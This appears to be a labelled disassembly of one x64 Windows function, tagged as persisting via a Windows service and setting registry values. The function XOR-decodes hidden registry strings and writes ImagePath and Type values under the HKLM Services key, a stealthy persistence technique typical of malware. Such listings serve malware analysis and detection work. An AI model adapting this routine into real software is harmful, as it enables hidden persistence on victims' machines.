Function at 0x1400038d0
Capabilities:
Persist via windows service
Set registry value

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x280]
sub rsp, 0x380
mov rax, qword [0x14009b020]
xor rax, rsp
mov qword [rbp + 0x270], rax
mov r13, rdx
mov qword [rbp - 0x68], rcx
xor edx, edx
mov dword [rbp - 0x6c], 1
lea rcx, [rbp + 0x60]
mov r8d, 0x208
call fcn.14001b720
cmp qword [r13 + 0x18], 8
jb 0x14000392a
mov r13, qword [r13]
movzx r8d, word [0x140094a22]
mov ecx, 0x1c
movzx edx, word [0x140094a24]
movzx r10d, cx
movzx eax, word [0x140094a28]
xor r8w, cx
movzx esi, word [0x140094a1e]
xor dx, cx
movzx r11d, word [str.systemCurrentControlSetServices]
lea r9d, [rcx + 0x53]
xor si, cx
mov word [rbp - 0x60], cx
xor r11w, cx
xor ax, r10w
movzx ecx, word [0x140094a26]
mov r12d, 0x40
xor cx, r10w
movzx edi, r12w
xor r12w, r10w
mov r15d, 0x23
mov word [rbp - 0x5e], r12w
movzx ebx, r15w
mov r12d, 0x1c
mov r14d, 0x39
xor ax, r12w
xor cx, r12w
xor r9w, r12w
mov word [rbp - 0x46], ax
xor r8w, r12w
mov word [rbp - 0x48], cx
xor dx, r12w
mov word [rbp - 0x54], r9w
xor eax, eax
mov word [rbp - 0x4c], r8w
xor r15w, r12w
mov word [rbp - 0x4a], dx
xor bx, r12w
mov word [rbp - 0x44], ax
xor di, r12w
mov word [rbp - 0x5c], r15w
xor r14w, r12w
mov word [rbp - 0x5a], bx
xor r10w, r12w
mov word [rbp - 0x58], di
xor si, r12w
mov word [rbp - 0x56], r14w
xor r11w, r12w
mov word [rbp - 0x52], r10w
lea rcx, [rbp + 0x60]
mov word [rbp - 0x50], si
mov r9, r13
mov word [rbp - 0x4e], r11w
lea r8, [rbp - 0x5e]
mov edx, 0x104
call fcn.140001b60
mov ebx, 7
lea r10d, [r12 + 0x57]
mov r9d, 0x62
mov dword [rbp - 0x70], ebx
mov edx, 0x75
mov word [rbp - 0x30], bx
mov r11d, 0x74
mov word [rsp + 0x7e], dx
lea eax, [rbx + 0x3d]
mov word [rsp + 0x7c], r11w
mov word [rsp + 0x3c], ax
lea r8d, [r12 + 0x3f]
mov eax, 0x68
mov word [rsp + 0x38], r9w
mov word [rsp + 0x44], ax
mov ecx, 0x69
mov eax, 0x54
mov word [rsp + 0x3a], r10w
mov word [rsp + 0x4c], ax
mov word [rsp + 0x3e], cx
mov word [rsp + 0x40], r10w
mov word [rsp + 0x42], dx
mov word [rsp + 0x46], r9w
mov word [rsp + 0x48], r10w
mov word [rsp + 0x4a], r8w
mov word [rsp + 0x4e], r9w
movzx eax, word [0x140094a64]
xor ax, bx
movzx r13d, word [0x140094a8a]
mov word [rsp + 0x56], ax
xor r13w, bx
movzx eax, word [0x140094a66]
xor ax, bx
movzx r12d, word [0x140094a8c]
mov word [rsp + 0x58], ax
xor r12w, bx
movzx eax, word [str.ImagePath]
xor ax, bx
movzx r15d, word [0x140094a8e]
mov word [rsp + 0x5a], ax
xor r15w, bx
movzx eax, word [0x140094a6a]
xor ax, bx
movzx r14d, word [str._registrymachineSYSTEMCurrentControlSetServices_]
movzx esi, word [0x140094a92]
xor r14w, bx
movzx edi, word [0x140094a94]
xor si, bx
movzx r10d, word [0x140094a9a]
xor di, bx
mov word [rsp + 0x5c], ax
movzx eax, word [0x140094a6c]
xor ax, bx
mov word [rsp + 0x54], r11w
movzx r11d, word [0x140094a98]
mov word [rsp + 0x5e], ax
xor r11w, 7
movzx eax, word [0x140094a6e]
xor ax, bx
mov word [rsp + 0x52], r9w
movzx r9d, word [0x140094a9c]
mov word [rsp + 0x60], ax
movzx eax, word [0x140094a70]
xor ax, bx
mov word [rsp + 0x50], dx
mov word [rsp + 0x62], ax
movzx eax, word [0x140094a72]
xor ax, bx
mov word [rsp + 0x34], r13w
mov word [rsp + 0x64], ax
movzx eax, word [0x140094a74]
xor ax, bx
mov word [rsp + 0x30], r12w
mov word [rsp + 0x66], ax
movzx eax, word [0x140094a76]
xor ax, bx
mov word [rsp + 0x68], ax
movzx eax, word [0x140094a78]
xor ax, bx
mov word [rsp + 0x6a], ax
movzx eax, word [0x140094a7a]
xor ax, bx
mov word [rsp + 0x6c], ax
movzx eax, word [0x140094a7c]
xor ax, bx
mov word [rsp + 0x6e], ax
movzx eax, word [0x140094a7e]
xor ax, bx
mov word [rsp + 0x70], ax
movzx eax, word [str.Type]
xor ax, bx
mov word [rsp + 0x72], ax
movzx eax, word [0x140094a82]
xor ax, bx
mov word [rsp + 0x74], ax
movzx eax, word [0x140094a84]
xor ax, bx
mov word [rsp + 0x76], ax
movzx eax, word [0x140094a86]
xor ax, bx
mov word [rsp + 0x78], ax
movzx eax, word [0x140094a88]
xor ax, bx
movzx ebx, word [0x140094a96]
xor bx, 7
mov word [rsp + 0x7a], ax
xor r10w, 7
movzx r8d, word [0x140094a9e]
mov r12d, 7
movzx edx, word [0x140094aa0]
mov r13d, 0x74
xor r13w, r12w
movzx ecx, word [0x140094aa2]
mov word [rbp - 0x2e], r13w
xor r9w, 7
movzx eax, word [0x140094aa4]
mov r13d, 0x7e
xor r13w, r12w
xor r8w, 7
mov word [rbp - 0x2c], r13w
xor dx, 7
movzx r13d, word [rsp + 0x7c]
xor cx, 7
xor r13w, r12w
xor ax, 7
mov word [rbp - 0x2a], r13w
mov r13d, 0x73
xor r13w, r12w
mov word [rbp - 0x28], r13w
mov r13d, 0x62
xor r13w, r12w
mov word [rbp - 0x26], r13w
mov r13d, 0x6a
xor r13w, r12w
mov word [rbp - 0x24], r13w
mov r13d, 0x5b
xor r13w, r12w
mov word [rbp - 0x22], r13w
mov r13d, 0x44
xor r13w, r12w
mov word [rbp - 0x20], r13w
mov r13d, 0x72
xor r13w, r12w
mov word [rbp - 0x1e], r13w
mov r13d, 0x75
xor r13w, r12w
mov word [rbp - 0x1c], r13w
movzx r13d, word [rsp + 0x7e]
xor r13w, r12w
mov word [rbp - 0x1a], r13w
movzx r13d, word [rsp + 0x38]
xor r13w, r12w
mov word [rbp - 0x18], r13w
mov r13d, 0x69
xor r13w, r12w
mov word [rbp - 0x16], r13w
movzx r13d, word [rsp + 0x3a]
xor r13w, r12w
mov word [rbp - 0x14], r13w
movzx r13d, word [rsp + 0x3c]
xor r13w, r12w
mov word [rbp - 0x12], r13w
mov r13d, 0x68
xor r13w, r12w
mov word [rbp - 0x10], r13w
movzx r13d, word [rsp + 0x3e]
xor r13w, r12w
mov word [rbp - 0xe], r13w
movzx r13d, word [rsp + 0x40]
xor r13w, r12w
mov word [rbp - 0xc], r13w
movzx r13d, word [rsp + 0x42]
xor r13w, r12w
mov word [rbp - 0xa], r13w
movzx r13d, word [rsp + 0x44]
xor r13w, r12w
mov word [rbp - 8], r13w
mov r13d, 0x6b
xor r13w, r12w
mov word [rbp - 6], r13w
mov r13d, 0x54
xor r13w, r12w
mov word [rbp - 4], r13w
movzx r13d, word [rsp + 0x46]
xor r13w, r12w
mov word [rbp - 2], r13w
movzx r13d, word [rsp + 0x48]
xor r13w, r12w
mov word [rbp], r13w
movzx r13d, word [rsp + 0x4a]
xor r13w, r12w
mov word [rbp + 2], r13w
movzx r13d, word [rsp + 0x4c]
xor r13w, r12w
mov word [rbp + 4], r13w
movzx r13d, word [rsp + 0x4e]
xor r13w, r12w
mov word [rbp + 6], r13w
movzx r13d, word [rsp + 0x50]
xor r13w, r12w
mov r12d, 0x71
mov word [rbp + 8], r13w
mov r13d, 0x6e
xor r12w, word [rbp - 0x70]
mov word [rbp + 0xa], r12w
mov r12d, 7
xor r13w, r12w
mov word [rbp + 0xc], r13w
mov r13d, 0x64
xor r13w, r12w
mov word [rbp + 0xe], r13w
movzx r13d, word [rsp + 0x52]
xor r13w, r12w
mov word [rbp + 0x10], r13w
movzx r13d, word [rsp + 0x54]
xor r13w, r12w
mov word [rbp + 0x12], r13w
movzx r13d, r12w
xor r13w, r12w
mov word [rbp + 0x14], r13w
movzx r13d, word [rsp + 0x56]
xor r13w, r12w
mov word [rbp + 0x16], r13w
movzx r13d, word [rsp + 0x58]
xor r13w, r12w
mov word [rbp + 0x18], r13w
movzx r13d, word [rsp + 0x5a]
xor r13w, r12w
mov word [rbp + 0x1a], r13w
movzx r13d, word [rsp + 0x5c]
xor r13w, r12w
mov word [rbp + 0x1c], r13w
movzx r13d, word [rsp + 0x5e]
xor r13w, r12w
mov word [rbp + 0x1e], r13w
movzx r13d, word [rsp + 0x60]
xor r13w, r12w
mov word [rbp + 0x20], r13w
movzx r13d, word [rsp + 0x62]
xor r13w, r12w
mov word [rbp + 0x22], r13w
movzx r13d, word [rsp + 0x64]
xor r13w, r12w
mov word [rbp + 0x24], r13w
movzx r13d, word [rsp + 0x66]
xor r13w, r12w
mov word [rbp + 0x26], r13w
movzx r13d, word [rsp + 0x68]
xor r13w, r12w
mov word [rbp + 0x28], r13w
movzx r13d, word [rsp + 0x6a]
xor r13w, r12w
mov word [rbp + 0x2a], r13w
movzx r13d, word [rsp + 0x6c]
xor r13w, r12w
mov word [rbp + 0x2c], r13w
movzx r13d, word [rsp + 0x6e]
xor r13w, r12w
mov word [rbp + 0x2e], r13w
movzx r13d, word [rsp + 0x70]
xor r13w, r12w
mov word [rbp + 0x30], r13w
movzx r13d, word [rsp + 0x72]
xor r13w, r12w
mov word [rbp + 0x32], r13w
movzx r13d, word [rsp + 0x74]
xor r13w, r12w
mov word [rbp + 0x34], r13w
movzx r13d, word [rsp + 0x76]
xor r13w, r12w
mov word [rbp + 0x36], r13w
movzx r13d, word [rsp + 0x78]
xor r13w, r12w
mov word [rbp + 0x38], r13w
movzx r13d, word [rsp + 0x7a]
xor r13w, r12w
mov word [rbp + 0x3a], r13w
movzx r13d, word [rsp + 0x34]
xor r13w, r12w
movzx r12d, word [rsp + 0x30]
mov word [rbp + 0x3c], r13w
mov r13d, 7
xor ax, r13w
xor r8w, r13w
xor dx, r13w
mov word [rbp + 0x56], ax
xor cx, r13w
mov word [rbp + 0x50], r8w
xor eax, eax
mov word [rbp + 0x52], dx
xor r11w, r13w
mov word [rbp + 0x54], cx
xor r10w, r13w
mov word [rbp + 0x58], ax
xor r9w, r13w
mov word [rbp + 0x4a], r11w
xor r12w, r13w
mov word [rbp + 0x4c], r10w
xor r15w, r13w
mov word [rbp + 0x3e], r12w
xor r14w, r13w
mov word [rbp + 0x40], r15w
xor si, r13w
mov word [rbp + 0x42], r14w
xor di, r13w
mov word [rbp + 0x44], si
xor bx, r13w
mov word [rbp + 0x46], di
lea r8, [rbp - 0x78]
mov word [rbp + 0x48], bx
lea rdx, [rbp - 0x2e]
mov word [rbp + 0x4e], r9w
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
jne 0x140004325
mov rax, qword [rbp - 0x68]
cmp qword [rax + 0x18], 8
jb 0x14000406d
mov rax, qword [rax]
mov rcx, qword [rbp - 0x78]
lea r8, [rbp - 0x80]
mov rdx, rax
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
mov ebx, eax
test eax, eax
jne 0x140004238
movzx esi, word [0x140094a7e]
lea ebx, [rax + 0x47]
movzx r11d, word [str.Type]
lea r15d, [rax + 0x43]
movzx r10d, word [0x140094a82]
lea r12d, [rax + 0x76]
movzx r9d, word [0x140094a84]
lea r13d, [rax + 0x52]
movzx eax, word [0x140094a7c]
mov ecx, 0x26
movzx r8d, word [0x140094a86]
xor ax, cx
movzx edx, word [0x140094a88]
movzx edi, cx
mov dword [rsp + 0x34], ecx
xor si, cx
xor r11w, cx
mov word [rsp + 0x30], ax
movzx eax, word [0x140094a8c]
xor r10w, cx
xor r9w, cx
mov word [rbp - 0x60], cx
xor r8w, cx
xor dx, cx
movzx ecx, word [0x140094a8a]
xor ax, di
xor cx, di
mov r14d, 0x6f
xor r14w, word [rsp + 0x34]
mov word [rbp - 0x5e], r14w
mov r14d, 0x4b
xor r14w, word [rsp + 0x34]
mov word [rbp - 0x5c], r14w
mov r14d, ebx
xor r14w, word [rsp + 0x34]
mov word [rbp - 0x5a], r14w
mov r14d, 0x41
xor r14w, word [rsp + 0x34]
mov word [rbp - 0x58], r14w
mov r14d, 0x26
xor bx, r14w
xor cx, r14w
mov word [rbp - 0x52], bx
xor ax, r14w
xor r15w, r14w
mov word [rbp - 0x3c], cx
xor r12w, r14w
mov word [rbp - 0x3a], ax
xor r13w, r14w
mov word [rbp - 0x56], r15w
xor di, r14w
mov word [rbp - 0x54], r12w
xor si, r14w
mov word [rbp - 0x50], r13w
xor r11w, r14w
mov word [rbp - 0x4c], di
xor r10w, r14w
mov word [rbp - 0x48], si
xor r9w, r14w
mov word [rbp - 0x46], r11w
xor r8w, r14w
mov word [rbp - 0x44], r10w
xor dx, r14w
mov word [rbp - 0x42], r9w
mov ebx, 0x4e
mov word [rbp - 0x40], r8w
xor bx, r14w
mov word [rbp - 0x3e], dx
mov word [rbp - 0x4e], bx
lea rcx, [rbp + 0x60]
movzx ebx, word [rsp + 0x30]
mov rax, 0xffffffffffffffff
xor bx, r14w
xor r14d, r14d
mov word [rbp - 0x4a], bx
mov word [rbp - 0x38], r14w
cmp word [rcx + rax*2 + 2], r14w
lea rax, [rax + 1]
jne 0x1400041f1
lea ecx, [rax*2 + 2]
mov r9d, 1
mov dword [rsp + 0x28], ecx
lea rax, [rbp + 0x60]
mov rcx, qword [rbp - 0x80]
lea rdx, [rbp - 0x5e]
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ebx, eax
test eax, eax
je 0x140004249
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
jmp 0x140004325
movzx eax, word [str._registrymachineSYSTEMCurrentControlSetServices_]
mov esi, 8
movzx r8d, word [0x140094a8c]
xor ax, si
movzx ecx, word [0x140094a8e]
xor r8w, si
movzx ebx, word [0x140094a8a]
xor cx, si
lea r9d, [rsi + 0x54]
mov dword [rsp + 0x28], 4
xor r9w, si
mov word [rbp - 0x60], si
mov word [rbp - 0x5e], r9w
lea r10d, [rsi + 0x70]
mov r9d, 0x71
mov word [rbp - 0x4c], r14w
xor ax, si
lea r11d, [rsi + 0x65]
xor r9w, si
mov word [rbp - 0x4e], ax
xor r8w, si
mov word [rbp - 0x5c], r9w
xor cx, si
mov word [rbp - 0x52], r8w
movzx edx, si
mov word [rbp - 0x50], cx
mov rcx, qword [rbp - 0x80]
lea rax, [rbp - 0x6c]
xor dx, si
mov qword [rsp + 0x20], rax
xor r10w, si
mov word [rbp - 0x56], dx
xor r11w, si
mov word [rbp - 0x5a], r10w
xor bx, si
mov word [rbp - 0x58], r11w
xor bx, si
lea r9d, [rsi - 4]
xor r8d, r8d
mov word [rbp - 0x54], bx
lea rdx, [rbp - 0x5e]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp - 0x80]
mov ebx, eax
test eax, eax
jne 0x140004232
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov rcx, qword [rbp + 0x270]
xor rcx, rsp
call fcn.140014b40
mov rbx, qword [rsp + 0x3d0]
add rsp, 0x380
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret